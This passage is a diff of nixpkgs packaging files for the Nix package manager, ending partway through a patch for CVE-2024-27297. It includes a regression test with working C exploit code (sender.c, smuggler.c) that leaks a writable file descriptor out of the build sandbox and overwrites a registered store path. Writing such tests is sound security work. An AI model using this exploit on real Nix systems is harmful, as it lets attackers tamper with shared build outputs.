diff options
Diffstat (limited to 'nixpkgs/pkgs/tools/package-management/nix')
9 files changed, 1953 insertions, 0 deletions
diff --git a/nixpkgs/pkgs/tools/package-management/nix/common.nix b/nixpkgs/pkgs/tools/package-management/nix/common.nix new file mode 100644 index 000000000000..d0840d206b67 --- /dev/null +++ b/nixpkgs/pkgs/tools/package-management/nix/common.nix @@ -0,0 +1,267 @@ +{ lib +, fetchFromGitHub +, version +, suffix ? "" +, hash ? null +, src ? fetchFromGitHub { owner = "NixOS"; repo = "nix"; rev = version; inherit hash; } +, patches ? [ ] +, maintainers ? with lib.maintainers; [ eelco lovesegfault artturin ma27 ] +}@args: +assert (hash == null) -> (src != null); +let + atLeast24 = lib.versionAtLeast version "2.4pre"; + atLeast25 = lib.versionAtLeast version "2.5pre"; + atLeast27 = lib.versionAtLeast version "2.7pre"; + atLeast210 = lib.versionAtLeast version "2.10pre"; + atLeast213 = lib.versionAtLeast version "2.13pre"; + atLeast214 = lib.versionAtLeast version "2.14pre"; + atLeast220 = lib.versionAtLeast version "2.20pre"; + atLeast221 = lib.versionAtLeast version "2.21pre"; + # Major.minor versions unaffected by CVE-2024-27297 + unaffectedByFodSandboxEscape = [ + "2.3" + "2.18" + "2.19" + "2.20" + ]; +in +{ stdenv +, autoconf-archive +, autoreconfHook +, bash +, bison +, boehmgc +, boost +, brotli +, busybox-sandbox-shell +, bzip2 +, callPackage +, coreutils +, curl +, docbook_xsl_ns +, docbook5 +, editline +, flex +, gnutar +, gtest +, gzip +, jq +, lib +, libarchive +, libcpuid +, libgit2 +, libsodium +, libxml2 +, libxslt +, lowdown +, mdbook +, mdbook-linkcheck +, nlohmann_json +, openssl +, perl +, pkg-config +, rapidcheck +, Security +, sqlite +, util-linuxMinimal +, xz + +, enableDocumentation ? !atLeast24 || stdenv.hostPlatform == stdenv.buildPlatform +, enableStatic ? stdenv.hostPlatform.isStatic +, withAWS ? !enableStatic && (stdenv.isLinux || stdenv.isDarwin), aws-sdk-cpp +, withLibseccomp ? lib.meta.availableOn stdenv.hostPlatform libseccomp, libseccomp + +, confDir +, stateDir +, storeDir + + # passthru tests +, pkgsi686Linux +}: let +self = stdenv.mkDerivation { + pname = "nix"; + + version = "${version}${suffix}"; + VERSION_SUFFIX = suffix; + + inherit src patches; + + outputs = + [ "out" "dev" ] + ++ lib.optionals enableDocumentation [ "man" "doc" ]; + + hardeningEnable = lib.optionals (!stdenv.isDarwin) [ "pie" ]; + + hardeningDisable = lib.optional stdenv.hostPlatform.isMusl "fortify"; + + nativeBuildInputs = [ + pkg-config + autoconf-archive + autoreconfHook + bison + flex + jq + ] ++ lib.optionals (enableDocumentation && !atLeast24) [ + libxslt + libxml2 + docbook_xsl_ns + docbook5 + ] ++ lib.optionals (enableDocumentation && atLeast24) [ + (lib.getBin lowdown) + mdbook + ] ++ lib.optionals (atLeast213 && enableDocumentation) [ + mdbook-linkcheck + ] ++ lib.optionals stdenv.isLinux [ + util-linuxMinimal + ]; + + buildInputs = [ + boost + brotli + bzip2 + curl + editline + libsodium + openssl + sqlite + xz + gtest + libarchive + lowdown + ] ++ lib.optionals atLeast220 [ + libgit2 + ] ++ lib.optionals stdenv.isDarwin [ + Security + ] ++ lib.optionals (stdenv.isx86_64) [ + libcpuid + ] ++ lib.optionals atLeast214 [ + rapidcheck + ] ++ lib.optionals withLibseccomp [ + libseccomp + ] ++ lib.optionals withAWS [ + aws-sdk-cpp + ]; + + propagatedBuildInputs = [ + boehmgc + ] ++ lib.optionals (atLeast27) [ + nlohmann_json + ]; + + postPatch = '' + patchShebangs --build tests + ''; + + preConfigure = + # Copy libboost_context so we don't get all of Boost in our closure. + # https://github.com/NixOS/nixpkgs/issues/45462 + lib.optionalString (!enableStatic) '' + mkdir -p $out/lib + cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib + rm -f $out/lib/*.a + ${lib.optionalString stdenv.isLinux '' + chmod u+w $out/lib/*.so.* + patchelf --set-rpath $out/lib:${stdenv.cc.cc.lib}/lib $out/lib/libboost_thread.so.* + ''} + '' + + # On all versions before c9f51e87057652db0013289a95deffba495b35e7, which + # removes config.nix entirely and is not present in 2.3.x, we need to + # patch around an issue where the Nix configure step pulls in the build + # system's bash and other utilities when cross-compiling. + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform && !atLeast24) '' + mkdir tmp/ + substitute corepkgs/config.nix.in tmp/config.nix.in \ + --subst-var-by bash ${bash}/bin/bash \ + --subst-var-by coreutils ${coreutils}/bin \ + --subst-var-by bzip2 ${bzip2}/bin/bzip2 \ + --subst-var-by gzip ${gzip}/bin/gzip \ + --subst-var-by xz ${xz}/bin/xz \ + --subst-var-by tar ${gnutar}/bin/tar \ + --subst-var-by tr ${coreutils}/bin/tr + mv tmp/config.nix.in corepkgs/config.nix.in + ''; + + configureFlags = [ + "--with-store-dir=${storeDir}" + "--localstatedir=${stateDir}" + "--sysconfdir=${confDir}" + "--enable-gc" + ] ++ lib.optionals (!enableDocumentation) [ + "--disable-doc-gen" + ] ++ lib.optionals stdenv.isLinux [ + "--with-sandbox-shell=${busybox-sandbox-shell}/bin/busybox" + ] ++ lib.optionals (atLeast210 && stdenv.isLinux && stdenv.hostPlatform.isStatic) [ + "--enable-embedded-sandbox-shell" + ] ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform && stdenv.hostPlatform ? nix && stdenv.hostPlatform.nix ? system) [ + "--with-system=${stdenv.hostPlatform.nix.system}" + ] ++ lib.optionals (!withLibseccomp) [ + # RISC-V support in progress https://github.com/seccomp/libseccomp/pull/50 + "--disable-seccomp-sandboxing" + ] ++ lib.optionals (atLeast210 && stdenv.cc.isGNU && !enableStatic) [ + "--enable-lto" + ]; + + makeFlags = [ + # gcc runs multi-threaded LTO using make and does not yet detect the new fifo:/path style + # of make jobserver. until gcc adds support for this we have to instruct make to use this + # old style or LTO builds will run their linking on only one thread, which takes forever. + "--jobserver-style=pipe" + "profiledir=$(out)/etc/profile.d" + ] ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "PRECOMPILE_HEADERS=0" + ++ lib.optional (stdenv.hostPlatform.isDarwin) "PRECOMPILE_HEADERS=1"; + + installFlags = [ "sysconfdir=$(out)/etc" ]; + + doInstallCheck = true; + installCheckTarget = if atLeast210 then "installcheck" else null; + + # socket path becomes too long otherwise + preInstallCheck = lib.optionalString stdenv.isDarwin '' + export TMPDIR=$NIX_BUILD_TOP + '' + # Prevent crashes in libcurl due to invoking Objective-C `+initialize` methods after `fork`. + # See http://sealiesoftware.com/blog/archive/2017/6/5/Objective-C_and_fork_in_macOS_1013.html. + + lib.optionalString stdenv.isDarwin '' + export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES + '' + # See https://github.com/NixOS/nix/issues/5687 + + lib.optionalString (atLeast25 && stdenv.isDarwin) '' + echo "exit 99" > tests/gc-non-blocking.sh + ''; + + separateDebugInfo = stdenv.isLinux && (atLeast24 -> !enableStatic); + + enableParallelBuilding = true; + + passthru = { + inherit aws-sdk-cpp boehmgc; + + perl-bindings = perl.pkgs.toPerlModule (callPackage ./nix-perl.nix { nix = self; inherit Security; }); + + tests = { + nixi686 = pkgsi686Linux.nixVersions.${"nix_${lib.versions.major version}_${lib.versions.minor version}"}; + }; + }; + + # point 'nix edit' and ofborg at the file that defines the attribute, + # not this common file. + pos = builtins.unsafeGetAttrPos "version" args; + meta = with lib; { + description = "Powerful package manager that makes package management reliable and reproducible"; + longDescription = '' + Nix is a powerful package manager for Linux and other Unix systems that + makes package management reliable and reproducible. It provides atomic + upgrades and rollbacks, side-by-side installation of multiple versions of + a package, multi-user package management and easy setup of build + environments. + ''; + homepage = "https://nixos.org/"; + license = licenses.lgpl2Plus; + inherit maintainers; + platforms = platforms.unix; + outputsToInstall = [ "out" ] ++ optional enableDocumentation "man"; + mainProgram = "nix"; + knownVulnerabilities = lib.optional (!builtins.elem (lib.versions.majorMinor version) unaffectedByFodSandboxEscape && !atLeast221) "CVE-2024-27297"; + }; +}; +in self diff --git a/nixpkgs/pkgs/tools/package-management/nix/default.nix b/nixpkgs/pkgs/tools/package-management/nix/default.nix new file mode 100644 index 000000000000..92c988ea5d08 --- /dev/null +++ b/nixpkgs/pkgs/tools/package-management/nix/default.nix @@ -0,0 +1,298 @@ +{ lib +, config +, aws-sdk-cpp +, boehmgc +, callPackage +, fetchFromGitHub +, fetchpatch +, fetchpatch2 +, runCommand +, Security + +, storeDir ? "/nix/store" +, stateDir ? "/nix/var" +, confDir ? "/etc" +}: +let + boehmgc-nix_2_3 = boehmgc.override { enableLargeConfig = true; }; + + boehmgc-nix = boehmgc-nix_2_3.overrideAttrs (drv: { + patches = (drv.patches or [ ]) ++ [ + # Part of the GC solution in https://github.com/NixOS/nix/pull/4944 + ./patches/boehmgc-coroutine-sp-fallback.patch + + # Required since 2.20, and has always been a valid change + # Awaiting 8.2 patch release of https://github.com/ivmai/bdwgc/commit/d1d4194c010bff2dc9237223319792cae834501c + # or master release of https://github.com/ivmai/bdwgc/commit/86b3bf0c95b66f718c3cb3d35fd7387736c2a4d7 + (fetchpatch { + name = "boehmgc-traceable_allocator-public.diff"; + url = "https://github.com/NixOS/nix/raw/2.20.0/dep-patches/boehmgc-traceable_allocator-public.diff"; + hash = "sha256-FLsHY/JS46neiSyyQkVpbHZEFvWSCzWrFQu1CC71sh4="; + }) + ]; + }); + + # old nix fails to build with newer aws-sdk-cpp and the patch doesn't apply + aws-sdk-cpp-old-nix = (aws-sdk-cpp.override { + apis = [ "s3" "transfer" ]; + customMemoryManagement = false; + }).overrideAttrs (args: rec { + # intentionally overriding postPatch + version = "1.9.294"; + + src = fetchFromGitHub { + owner = "aws"; + repo = "aws-sdk-cpp"; + rev = version; + hash = "sha256-Z1eRKW+8nVD53GkNyYlZjCcT74MqFqqRMeMc33eIQ9g="; + }; + postPatch = '' + # Avoid blanket -Werror to evade build failures on less + # tested compilers. + substituteInPlace cmake/compiler_settings.cmake \ + --replace '"-Werror"' ' ' + + # Missing includes for GCC11 + sed '5i#include <thread>' -i \ + aws-cpp-sdk-cloudfront-integration-tests/CloudfrontOperationTest.cpp \ + aws-cpp-sdk-cognitoidentity-integration-tests/IdentityPoolOperationTest.cpp \ + aws-cpp-sdk-dynamodb-integration-tests/TableOperationTest.cpp \ + aws-cpp-sdk-elasticfilesystem-integration-tests/ElasticFileSystemTest.cpp \ + aws-cpp-sdk-lambda-integration-tests/FunctionTest.cpp \ + aws-cpp-sdk-mediastore-data-integration-tests/MediaStoreDataTest.cpp \ + aws-cpp-sdk-queues/source/sqs/SQSQueue.cpp \ + aws-cpp-sdk-redshift-integration-tests/RedshiftClientTest.cpp \ + aws-cpp-sdk-s3-crt-integration-tests/BucketAndObjectOperationTest.cpp \ + aws-cpp-sdk-s3-integration-tests/BucketAndObjectOperationTest.cpp \ + aws-cpp-sdk-s3control-integration-tests/S3ControlTest.cpp \ + aws-cpp-sdk-sqs-integration-tests/QueueOperationTest.cpp \ + aws-cpp-sdk-transfer-tests/TransferTests.cpp + # Flaky on Hydra + rm aws-cpp-sdk-core-tests/aws/auth/AWSCredentialsProviderTest.cpp + # Includes aws-c-auth private headers, so only works with submodule build + rm aws-cpp-sdk-core-tests/aws/auth/AWSAuthSignerTest.cpp + # TestRandomURLMultiThreaded fails + rm aws-cpp-sdk-core-tests/http/HttpClientTest.cpp + '' + lib.optionalString aws-sdk-cpp.stdenv.isi686 '' + # EPSILON is exceeded + rm aws-cpp-sdk-core-tests/aws/client/AdaptiveRetryStrategyTest.cpp + ''; + + patches = (args.patches or [ ]) ++ [ ./patches/aws-sdk-cpp-TransferManager-ContentEncoding.patch ]; + + # only a stripped down version is build which takes a lot less resources to build + requiredSystemFeatures = [ ]; + }); + + aws-sdk-cpp-nix = (aws-sdk-cpp.override { + apis = [ "s3" "transfer" ]; + customMemoryManagement = false; + }).overrideAttrs { + # only a stripped down version is build which takes a lot less resources to build + requiredSystemFeatures = [ ]; + }; + + + common = args: + callPackage + (import ./common.nix ({ inherit lib fetchFromGitHub; } // args)) + { + inherit Security storeDir stateDir confDir; + boehmgc = boehmgc-nix; + aws-sdk-cpp = if lib.versionAtLeast args.version "2.12pre" then aws-sdk-cpp-nix else aws-sdk-cpp-old-nix; + }; + + # https://github.com/NixOS/nix/pull/7585 + patch-monitorfdhup = fetchpatch2 { + name = "nix-7585-monitor-fd-hup.patch"; + url = "https://github.com/NixOS/nix/commit/1df3d62c769dc68c279e89f68fdd3723ed3bcb5a.patch"; + hash = "sha256-f+F0fUO+bqyPXjt+IXJtISVr589hdc3y+Cdrxznb+Nk="; + }; + + # https://github.com/NixOS/nix/pull/7473 + patch-sqlite-exception = fetchpatch2 { + name = "nix-7473-sqlite-exception-add-message.patch"; + url = "https://github.com/hercules-ci/nix/commit/c965f35de71cc9d88f912f6b90fd7213601e6eb8.patch"; + hash = "sha256-tI5nKU7SZgsJrxiskJ5nHZyfrWf5aZyKYExM0792N80="; + }; + + patch-non-existing-output = fetchpatch { + # https://github.com/NixOS/nix/pull/7283 + name = "fix-requires-non-existing-output.patch"; + url = "https://github.com/NixOS/nix/commit/3ade5f5d6026b825a80bdcc221058c4f14e10a27.patch"; + hash = "sha256-s1ybRFCjQaSGj7LKu0Z5g7UiHqdJGeD+iPoQL0vaiS0="; + }; + + patch-rapidcheck-shared = fetchpatch2 { + # https://github.com/NixOS/nix/pull/9431 + name = "fix-missing-librapidcheck.patch"; + url = "https://github.com/NixOS/nix/commit/46131567da96ffac298b9ec54016b37114b0dfd5.patch"; + hash = "sha256-lShYxYKRDWwBqCysAFmFBudhhAL1eendWcL8sEFLCGg="; + }; + + # Intentionally does not support overrideAttrs etc + # Use only for tests that are about the package relation to `pkgs` and/or NixOS. + addTestsShallowly = tests: pkg: pkg // { + tests = pkg.tests // tests; + # In case someone reads the wrong attribute + passthru.tests = pkg.tests // tests; + }; + + addFallbackPathsCheck = pkg: addTestsShallowly + { nix-fallback-paths = + runCommand "test-nix-fallback-paths-version-equals-nix-stable" { + paths = lib.concatStringsSep "\n" (builtins.attrValues (import ../../../../nixos/modules/installer/tools/nix-fallback-paths.nix)); + } '' + if [[ "" != $(grep -v 'nix-${pkg.version}$' <<< "$paths") ]]; then + echo "nix-fallback-paths not up to date with nixVersions.stable (nix-${pkg.version})" + echo "The following paths are not up to date:" + grep -v 'nix-${pkg.version}$' <<< "$paths" + echo + echo "Fix it by running in nixpkgs:" + echo + echo "curl https://releases.nixos.org/nix/nix-${pkg.version}/fallback-paths.nix >nixos/modules/installer/tools/nix-fallback-paths.nix" + echo + exit 1 + else + echo "nix-fallback-paths versions up to date" + touch $out + fi + ''; + } + pkg; + +in lib.makeExtensible (self: ({ + nix_2_3 = (common { + version = "2.3.17"; + hash = "sha256-EK0pgHDekJFqr0oMj+8ANIjq96WPjICe2s0m4xkUdH4="; + patches = [ + patch-monitorfdhup + ./patches/2_3/CVE-2024-27297.patch + ]; + maintainers = with lib.maintainers; [ flokli raitobezarius ]; + }).override { boehmgc = boehmgc-nix_2_3; }; + + nix_2_10 = common { + version = "2.10.3"; + hash = "sha256-B9EyDUz/9tlcWwf24lwxCFmkxuPTVW7HFYvp0C4xGbc="; + patches = [ + ./patches/flaky-tests.patch + patch-non-existing-output + patch-monitorfdhup + patch-sqlite-exception + ]; + }; + + nix_2_11 = common { + version = "2.11.1"; + hash = "sha256-qCV65kw09AG+EkdchDPq7RoeBznX0Q6Qa4yzPqobdOk="; + patches = [ + ./patches/flaky-tests.patch + patch-non-existing-output + patch-monitorfdhup + patch-sqlite-exception + ]; + }; + + nix_2_12 = common { + version = "2.12.1"; + hash = "sha256-GmHKhq0uFtdOiJnuBwj2YwlZjvh6YTkfQZgeu4e0dLU="; + patches = [ + ./patches/flaky-tests.patch + patch-monitorfdhup + patch-sqlite-exception + ]; + }; + + nix_2_13 = common { + version = "2.13.6"; + hash = "sha256-pd2yGmHWn4njfbrSP6cMJx8qL+yeGieqcbLNICzcRFs="; + }; + + nix_2_14 = common { + version = "2.14.1"; + hash = "sha256-5aCmGZbsFcLIckCDfvnPD4clGPQI7qYAqHYlttN/Wkg="; + patches = [ + patch-rapidcheck-shared + ]; + }; + + nix_2_15 = common { + version = "2.15.3"; + hash = "sha256-sfFXbjC5iIdSAbctZIuFozxX0uux/KFBNr9oh33xINs="; + patches = [ + patch-rapidcheck-shared + ]; + }; + + nix_2_16 = common { + version = "2.16.2"; + hash = "sha256-VXIYCDkvAWeMoU0W2ZI0TeOszCZA1o8trz6YCPFD5ac="; + patches = [ + patch-rapidcheck-shared + ]; + }; + + nix_2_17 = common { + version = "2.17.1"; + hash = "sha256-Q5L+rHzjp0bYuR2ogg+YPCn6isjmlQ4CJVT0zpn/hFc="; + patches = [ + patch-rapidcheck-shared + ]; + }; + + nix_2_18 = common { + version = "2.18.1"; + hash = "sha256-WNmifcTsN9aG1ONkv+l2BC4sHZZxtNKy0keqBHXXQ7w="; + patches = [ + patch-rapidcheck-shared + ./patches/2_18/CVE-2024-27297.patch + ]; + }; + + nix_2_19 = common { + version = "2.19.3"; + hash = "sha256-EtL6M0H5+0mFbFh+teVjm+0B+xmHoKwtBvigS5NMWoo="; + patches = [ + ./patches/2_19/CVE-2024-27297.patch + ]; + }; + + nix_2_20 = common { + version = "2.20.5"; + hash = "sha256-bfFe38BkoQws7om4gBtBWoNTLkt9piMXdLLoHYl+vBQ="; + }; + + # The minimum Nix version supported by Nixpkgs + # Note that some functionality *might* have been backported into this Nix version, + # making this package an inaccurate representation of what features are available + # in the actual lowest minver.nix *patch* version. + minimum = + let + minver = import ../../../../lib/minver.nix; + major = lib.versions.major minver; + minor = lib.versions.minor minver; + attribute = "nix_${major}_${minor}"; + nix = self.${attribute}; + in + if ! self ? ${attribute} then + throw "The minimum supported Nix version is ${minver} (declared in lib/minver.nix), but pkgs.nixVersions.${attribute} does not exist." + else + nix; + + stable = addFallbackPathsCheck self.nix_2_18; + + unstable = self.nix_2_20; +} // lib.optionalAttrs config.allowAliases { + nix_2_4 = throw "nixVersions.nix_2_4 has been removed"; + + nix_2_5 = throw "nixVersions.nix_2_5 has been removed"; + + nix_2_6 = throw "nixVersions.nix_2_6 has been removed"; + + nix_2_7 = throw "nixVersions.nix_2_7 has been removed"; + + nix_2_8 = throw "nixVersions.nix_2_8 has been removed"; + + nix_2_9 = throw "nixVersions.nix_2_9 has been removed"; +})) diff --git a/nixpkgs/pkgs/tools/package-management/nix/nix-perl.nix b/nixpkgs/pkgs/tools/package-management/nix/nix-perl.nix new file mode 100644 index 000000000000..0796a0914f1f --- /dev/null +++ b/nixpkgs/pkgs/tools/package-management/nix/nix-perl.nix @@ -0,0 +1,43 @@ +{ stdenv +, lib +, perl +, pkg-config +, curl +, nix +, libsodium +, boost +, autoreconfHook +, autoconf-archive +, nlohmann_json +, Security +}: + +stdenv.mkDerivation { + pname = "nix-perl"; + inherit (nix) version src; + + postUnpack = "sourceRoot=$sourceRoot/perl"; + + buildInputs = lib.optional (stdenv.isDarwin) Security; + + # This is not cross-compile safe, don't have time to fix right now + # but noting for future travellers. + nativeBuildInputs = [ + autoconf-archive + autoreconfHook + boost + curl + libsodium + nix + nlohmann_json + perl + pkg-config + ]; + + configureFlags = [ + "--with-dbi=${perl.pkgs.DBI}/${perl.libPrefix}" + "--with-dbd-sqlite=${perl.pkgs.DBDSQLite}/${perl.libPrefix}" + ]; + + preConfigure = "export NIX_STATE_DIR=$TMPDIR"; +} diff --git a/nixpkgs/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch b/nixpkgs/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch new file mode 100644 index 000000000000..8d110d46a6bb --- /dev/null +++ b/nixpkgs/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch @@ -0,0 +1,379 @@ +From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001 +From: Tom Bereknyei <tomberek@gmail.com> +Date: Fri, 1 Mar 2024 03:42:26 -0500 +Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape + +Test that we can't leverage abstract unix domain sockets to leak file +descriptors out of the sandbox and modify the path after it has been +registered. + +Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> +--- + flake.nix | 2 + + tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++ + tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ + tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++ + 4 files changed, 223 insertions(+) + create mode 100644 tests/nixos/ca-fd-leak/default.nix + create mode 100644 tests/nixos/ca-fd-leak/sender.c + create mode 100644 tests/nixos/ca-fd-leak/smuggler.c + +diff --git a/flake.nix b/flake.nix +index 230bb6031..4a54c660f 100644 +--- a/flake.nix ++++ b/flake.nix +@@ -634,6 +634,8 @@ + ["i686-linux" "x86_64-linux"] + (system: runNixOSTestFor system ./tests/nixos/setuid.nix); + ++ tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak; ++ + + # Make sure that nix-env still produces the exact same result + # on a particular version of Nixpkgs. +diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix +new file mode 100644 +index 000000000..a6ae72adc +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/default.nix +@@ -0,0 +1,90 @@ ++# Nix is a sandboxed build system. But Not everything can be handled inside its ++# sandbox: Network access is normally blocked off, but to download sources, a ++# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". ++# The detail here is not important, but in our case it means that the hash of ++# the output has to be known beforehand. And if you know that, you get a few ++# rights: you no longer run inside a special network namespace! ++# ++# Now, Linux has a special feature, that not many other unices do: Abstract ++# unix domain sockets! Not only that, but those are namespaced using the ++# network namespace! That means that we have a way to create sockets that are ++# available in every single fixed-output derivation, and also all processes ++# running on the host machine! Now, this wouldn't be that much of an issue, as, ++# well, the whole idea is that the output is pure, and all processes in the ++# sandbox are killed before finalizing the output. What if we didn't need those ++# processes at all? Unix domain sockets have a semi-known trick: you can pass ++# file descriptors around! ++# This makes it possible to exfiltrate a file-descriptor with write access to ++# $out outside of the sandbox. And that file-descriptor can be used to modify ++# the contents of the store path after it has been registered. ++ ++{ config, ... }: ++ ++let ++ pkgs = config.nodes.machine.nixpkgs.pkgs; ++ ++ # Simple C program that sends a a file descriptor to `$out` to a Unix ++ # domain socket. ++ # Compiled statically so that we can easily send it to the VM and use it ++ # inside the build sandbox. ++ sender = pkgs.runCommandWith { ++ name = "sender"; ++ stdenv = pkgs.pkgsStatic.stdenv; ++ } '' ++ $CC -static -o $out ${./sender.c} ++ ''; ++ ++ # Okay, so we have a file descriptor shipped out of the FOD now. But the ++ # Nix store is read-only, right? .. Well, yeah. But this file descriptor ++ # lives in a mount namespace where it is not! So even when this file exists ++ # in the actual Nix store, we're capable of just modifying its contents... ++ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); ++ ++ # The abstract socket path used to exfiltrate the file descriptor ++ socketName = "FODSandboxExfiltrationSocket"; ++in ++{ ++ name = "ca-fd-leak"; ++ ++ nodes.machine = ++ { config, lib, pkgs, ... }: ++ { virtualisation.writableStore = true; ++ nix.settings.substituters = lib.mkForce [ ]; ++ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; ++ }; ++ ++ testScript = { nodes }: '' ++ start_all() ++ ++ machine.succeed("echo hello") ++ # Start the smuggler server ++ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") ++ ++ # Build the smuggled derivation. ++ # This will connect to the smuggler server and send it the file descriptor ++ machine.succeed(r""" ++ nix-build -E ' ++ builtins.derivation { ++ name = "smuggled"; ++ system = builtins.currentSystem; ++ # look ma, no tricks! ++ outputHashMode = "flat"; ++ outputHashAlgo = "sha256"; ++ outputHash = builtins.hashString "sha256" "hello, world\n"; ++ builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; ++ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; ++ }' ++ """.strip()) ++ ++ ++ # Tell the smuggler server that we're done ++ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") ++ ++ # Check that the file was not modified ++ machine.succeed(r""" ++ cat ./result ++ test "$(cat ./result)" = "hello, world" ++ """.strip()) ++ ''; ++ ++} +diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c +new file mode 100644 +index 000000000..75e54fc8f +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/sender.c +@@ -0,0 +1,65 @@ ++#include <sys/socket.h> ++#include <sys/un.h> ++#include <stdlib.h> ++#include <stddef.h> ++#include <stdio.h> ++#include <unistd.h> ++#include <fcntl.h> ++#include <errno.h> ++#include <string.h> ++#include <assert.h> ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Set up a abstract domain socket path to connect to. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ ++ // Now try to connect, To ensure we work no matter what order we are ++ // executed in, just busyloop here. ++ int res = -1; ++ while (res < 0) { ++ res = connect(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0 && errno != ECONNREFUSED) perror("connect"); ++ if (errno != ECONNREFUSED) break; ++ } ++ ++ // Write our message header. ++ struct msghdr msg = {0}; ++ msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Write an SCM_RIGHTS message containing the output path. ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ hdr->cmsg_len = CMSG_LEN(sizeof(int)); ++ hdr->cmsg_level = SOL_SOCKET; ++ hdr->cmsg_type = SCM_RIGHTS; ++ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); ++ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); ++ ++ msg.msg_controllen = CMSG_SPACE(sizeof(int)); ++ ++ // Write a single null byte too. ++ msg.msg_iov = malloc(sizeof(struct iovec)); ++ msg.msg_iov[0].iov_base = ""; ++ msg.msg_iov[0].iov_len = 1; ++ msg.msg_iovlen = 1; ++ ++ // Send it to the othher side of this connection. ++ res = sendmsg(sock, &msg, 0); ++ if (res < 0) perror("sendmsg"); ++ int buf; ++ ++ // Wait for the server to close the socket, implying that it has ++ // received the commmand. ++ recv(sock, (void *)&buf, sizeof(int), 0); ++} +diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c +new file mode 100644 +index 000000000..82acf37e6 +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/smuggler.c +@@ -0,0 +1,66 @@ ++#include <sys/socket.h> ++#include <sys/un.h> ++#include <stdlib.h> ++#include <stddef.h> ++#include <stdio.h> ++#include <unistd.h> ++#include <assert.h> ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Bind to the socket. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ int res = bind(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0) perror("bind"); ++ ++ res = listen(sock, 1); ++ if (res < 0) perror("listen"); ++ ++ int smuggling_fd = -1; ++ ++ // Accept the connection a first time to receive the file descriptor. ++ fprintf(stderr, "%s\n", "Waiting for the first connection"); ++ int a = accept(sock, 0, 0); ++ if (a < 0) perror("accept"); ++ ++ struct msghdr msg = {0}; ++ msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Receive the file descriptor as sent by the smuggler. ++ recvmsg(a, &msg, 0); ++ ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ while (hdr) { ++ if (hdr->cmsg_level == SOL_SOCKET ++ && hdr->cmsg_type == SCM_RIGHTS) { ++ ++ // Grab the copy of the file descriptor. ++ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); ++ } ++ ++ hdr = CMSG_NXTHDR(&msg, hdr); ++ } ++ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); ++ close(a); ++ ++ // Wait for a second connection, which will tell us that the build is ++ // done ++ a = accept(sock, 0, 0); ++ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); ++ // Write a new content to the file ++ if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); ++ char * new_content = "Pwned\n"; ++ int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); ++ if (written_bytes != strlen(new_content)) perror("write"); ++} +-- +2.42.0 + + +From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001 +From: Tom Bereknyei <tomberek@gmail.com> +Date: Fri, 1 Mar 2024 03:45:39 -0500 +Subject: [PATCH 2/3] Copy the output of fixed-output derivations before + registering them + +It is possible to exfiltrate a file descriptor out of the build sandbox +of FODs, and use it to modify the store path after it has been +registered. +To avoid that issue, don't register the output of the build, but a copy +of it (that will be free of any leaked file descriptor). + +Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> +Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io> +--- + src/libstore/build/local-derivation-goal.cc | 6 ++++++ + src/libutil/filesystem.cc | 6 ++++++ + src/libutil/util.hh | 7 +++++++ + 